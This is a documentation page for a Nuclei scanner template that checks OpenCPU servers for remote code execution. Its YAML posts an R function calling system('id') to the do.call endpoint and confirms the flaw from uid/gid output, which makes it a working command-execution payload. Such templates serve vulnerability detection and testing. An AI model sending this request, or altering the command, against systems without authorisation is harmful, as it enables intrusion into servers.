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Nuclei Templates

OpenCPU - Remote Code Execution

ID: opencpu-rce

Severity: critical

Author: wa1tf0rme

Tags: rce,opencpu,oss

Description

Section titled “Description”

Check for remote code execution via OpenCPU was conducted.

YAML Source

Section titled “YAML Source”
id: opencpu-rce


info:
  name: OpenCPU - Remote Code Execution
  author: wa1tf0rme
  severity: critical
  description: |
    Check for remote code execution via OpenCPU was conducted.
  reference:
    - https://pulsesecurity.co.nz/articles/R-Shells
    - https://github.com/opencpu/opencpu/
  metadata:
    max-request: 1
  tags: rce,opencpu,oss


http:
  - method: POST
    path:
      - "{{BaseURL}}/ocpu/library/base/R/do.call/json"


    body: |
      what=function(x){  return(system(paste('id'), intern %3d T))}&args={}


    headers:
      Content-Type: application/x-www-form-urlencoded
    max-redirects: 2
    redirects: true


    matchers-condition: and
    matchers:
      - type: word
        words:
          - uid=
          - gid=
        condition: and


      - type: status
        status:
          - 201


    extractors:
      - type: regex
        group: 1
        regex:
          - \(([a-z-]+)\)
# digest: 4a0a0047304502205e695479c27ed7acbbfc3581266d302eda69158693e883f9f48165c49b3c2267022100b9a632c1f11f14ac02286fb795e01102b77b09ecf0ac2369efb0b6c623a31e32:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/opencpu/opencpu-rce.yaml"

View on Github